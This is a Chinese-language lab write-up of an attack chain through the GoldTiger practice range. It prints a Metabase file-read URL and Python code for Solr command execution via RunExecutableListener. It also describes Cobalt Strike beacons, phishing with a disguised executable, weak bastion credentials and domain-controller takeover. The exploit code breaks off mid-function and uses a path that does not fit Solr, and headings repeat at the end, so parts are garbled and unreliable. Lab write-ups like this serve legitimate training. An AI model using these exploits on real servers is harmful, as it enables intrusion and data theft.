GoldTiger靶场渗透测试教学文档<\/h1>

靶场概述<\/h2>
GoldTiger靶场是一个综合渗透测试环境，包含多个攻击面和技术要点。本教学文档将详细分析渗透测试过程中的各个阶段和技术细节。<\/p>

环境信息<\/h2>

靶场名称：cyberstrikelab-GoldTiger<\/li>
发布时间：2026年1月4日<\/li>

涉及技术：Metabase漏洞利用、Solr漏洞利用、钓鱼攻击、横向移动等<\/li> <\/ul>

渗透测试过程详解<\/h2>

第一阶段：信息收集与初始访问<\/h3>

1. Web1渗透（3000端口 - Metabase）<\/h4>

目标服务<\/strong>：Metabase 0.4.0版本
发现漏洞<\/strong>：<\/p>

CVE-2021-41277（文件读取漏洞）<\/li>
CVE-2023-38646（需要setup-token，未利用）<\/li> <\/ul>
漏洞利用过程<\/strong>：<\/p>
# 利用CVE-2021-41277读取系统文件<\/span> <\/span><\/span>http:\/\/10.8.8.5:3000\/api\/geojson?url=<\/span>file:\/\/\/\/etc\/passwd <\/span><\/span><\/code><\/pre>技术要点<\/strong>：<\/p> Metabase 0.4.0版本存在未授权文件读取漏洞<\/li> 通过API接口直接读取服务器敏感文件<\/li> 成功获取\/etc\/passwd文件内容后建立SSH连接<\/li> <\/ul> 2. Web2渗透（8983端口 - Solr）<\/h4> 目标服务<\/strong>：Apache Solr 发现IP<\/strong>：10.8.8.8（通过存活主机扫描获得）<\/p> 漏洞利用<\/strong>：使用公开的Solr RCE漏洞获取shell<\/p> 利用代码<\/strong>：<\/p> from<\/span> urllib.parse import<\/span> quote as<\/span> urlEncode <\/span><\/span>import<\/span> requests <\/span><\/span>import<\/span> random <\/span><\/span>import<\/span> urllib3 <\/span><\/span>from<\/span> urllib3.exceptions import<\/span> InsecureRequestWarning <\/span><\/span> <\/span><\/span># 禁用SSL警告<\/span> <\/span><\/span>urllib3.<\/span>disable_warnings(InsecureRequestWarning) <\/span><\/span> <\/span><\/span>def<\/span> createUrlForPayload<\/span>(payload: str, urlBaseExternal: str): <\/span><\/span> baseUrl =<\/span> f<\/span>"<\/span>{<\/span>urlBaseExternal}<\/span>\/page.aspx\/en\/PAYLOAD?ReturnUrl=\/page.aspx\/en\/buy\/homepage"<\/span> <\/span><\/span> return<\/span> baseUrl.<\/span>replace("PAYLOAD"<\/span>, payload) <\/span><\/span> <\/span><\/span>def<\/span> executeCommand<\/span>(urlBaseExternal: str, urlBaseInternal: str, commandBinary: str, commandArgs: list[str], commandCurDir: str): <\/span><\/span> # 创建新集合<\/span> <\/span><\/span> collectionName =<\/span> f<\/span>"collection<\/span>{<\/span>random.<\/span>randint(100000000000<\/span>, 999999999999<\/span>)}<\/span>"<\/span> <\/span><\/span> requests.<\/span>get( <\/span><\/span> url=<\/span>createUrlForPayload( <\/span><\/span> payload=<\/span>"""{!xmlparser v='<!DOCTYPE a SYSTEM "URL_BASE_INTERNAL\/admin\/collections?action=CREATE&name=COLLECTION_NAME&numShards=2"><a><\/a>'}"""<\/span>.<\/span>replace("URL_BASE_INTERNAL"<\/span>, urlBaseInternal).<\/span>replace("COLLECTION_NAME"<\/span>, collectionName), <\/span><\/span> urlBaseExternal=<\/span>urlBaseExternal <\/span><\/span> ), <\/span><\/span> verify=<\/span>False<\/span> <\/span><\/span> ) <\/span><\/span> print(f<\/span>"New collection created: '<\/span>{<\/span>collectionName}<\/span>'"<\/span>) <\/span><\/span> <\/span><\/span> # 添加RunExecutableListener<\/span> <\/span><\/span> listenerName =<\/span> f<\/span>"listener<\/span>{<\/span>random.<\/span>randint(100000000000<\/span>, 999999999999<\/span>)}<\/span>"<\/span> <\/span><\/span> commandArgsProcessed =<\/span> str(commandArgs).<\/span>replace("'"<\/span>,"<\/span>\"<\/span>"<\/span>) <\/span><\/span> streamBodyInPayload =<\/span> urlEncode("""{"add-listener":{"event":"postCommit","name":"LISTENER_NAME","class":"solr.RunExecutableListener","exe":"COMMAND_BINARY","dir":"COMMAND_CUR_DIR","args":COMMAND_ARGS}}"""<\/span>.<\/span>replace("LISTENER_NAME"<\/span>, listenerName).<\/span>replace("COMMAND_BINARY"<\/span>, commandBinary).<\/span>replace("COMMAND_CUR_DIR"<\/span>, commandCurDir).<\/span>replace("COMMAND_ARGS"<\/span>, commandArgsProcessed)) <\/span><\/span><\/code><\/pre>技术要点<\/strong>：<\/p> 利用Solr的RunExecutableListener功能实现命令执行<\/li> 通过创建新的collection并添加恶意监听器<\/li> 成功上线Cobalt Strike<\/li> <\/ul> 第二阶段：横向移动<\/h3> 1. 钓鱼攻击部署<\/h4> 实施步骤<\/strong>：<\/p> 在RDP桌面上安装Python环境<\/li> 使用Python启动HTTP服务<\/li> 部署TCP Beacon<\/li> 将恶意程序重命名为cslab.exe进行伪装<\/li> <\/ol> 技术要点<\/strong>：<\/p> 利用内部网络信任关系进行钓鱼<\/li> 文件命名伪装增加攻击成功率<\/li> 使用TCP Beacon维持持久访问<\/li> <\/ul> 2. 堡垒机渗透<\/h4> 访问凭证<\/strong>：<\/p> 用户名：admin<\/li> 密码：123456<\/li> <\/ul> 技术要点<\/strong>：<\/p> 成功进入后台管理系统<\/li> 建立双层代理通道<\/li> 实现网络纵深穿透<\/li> <\/ul> 第三阶段：权限提升与域控获取<\/h3> 域控制器（DC）攻击<\/h4> 攻击过程<\/strong>：<\/p> 直接点击获取DC的flag<\/li> 表明已获得域管理员权限<\/li> <\/ul> 技术要点<\/strong>：<\/p> 通过前期积累的权限直接访问域控制器<\/li> 成功获取最终flag完成渗透测试<\/li> <\/ul> 关键技术总结<\/h2> 漏洞利用技术<\/h3> Metabase CVE-2021-41277<\/strong>：未授权文件读取漏洞<\/li> Solr RCE漏洞<\/strong>：通过RunExecutableListener实现命令执行<\/li> 凭证重用攻击<\/strong>：堡垒机弱口令攻击<\/li> <\/ol> 横向移动技术<\/h3> 钓鱼攻击<\/strong>：内部网络信任利用<\/li> 代理链构建<\/strong>：双层代理实现网络穿透<\/li> 权限维持<\/strong>：TCP Beacon持久化<\/li> <\/ol> 防御规避技术<\/h3> 文件伪装<\/strong>：重命名恶意程序为cslab.exe<\/li> 合法服务利用<\/strong>：使用Python HTTP服务进行分发<\/li> <\/ol> 安全建议<\/h2> 及时更新<\/strong>：保持Metabase、Solr等组件最新版本<\/li> 强密码策略<\/strong>：避免使用默认或弱口令<\/li> 网络隔离<\/strong>：实施严格的网络分段策略<\/li> 权限控制<\/strong>：遵循最小权限原则<\/li> 安全监控<\/strong>：部署有效的安全检测机制<\/li> <\/ol> 结论<\/h2> GoldTiger靶场展示了从外部渗透到内网横向移动的完整攻击链。攻击者通过利用已知漏洞、弱口令和钓鱼攻击等技术，最终成功获取域控制器权限。此案例强调了企业安全建设中漏洞管理、访问控制和安全意识培训的重要性。<\/p>

GoldTiger靶场渗透测试教学文档<\/h1>

靶场概述<\/h2> GoldTiger靶场是一个综合渗透测试环境，包含多个攻击面和技术要点。本教学文档将详细分析渗透测试过程中的各个阶段和技术细节。<\/p>

渗透测试过程详解<\/h2>

第一阶段：信息收集与初始访问<\/h3>

第二阶段：横向移动<\/h3>

第三阶段：权限提升与域控获取<\/h3>

关键技术总结<\/h2>

靶场概述<\/h2>
GoldTiger靶场是一个综合渗透测试环境，包含多个攻击面和技术要点。本教学文档将详细分析渗透测试过程中的各个阶段和技术细节。<\/p>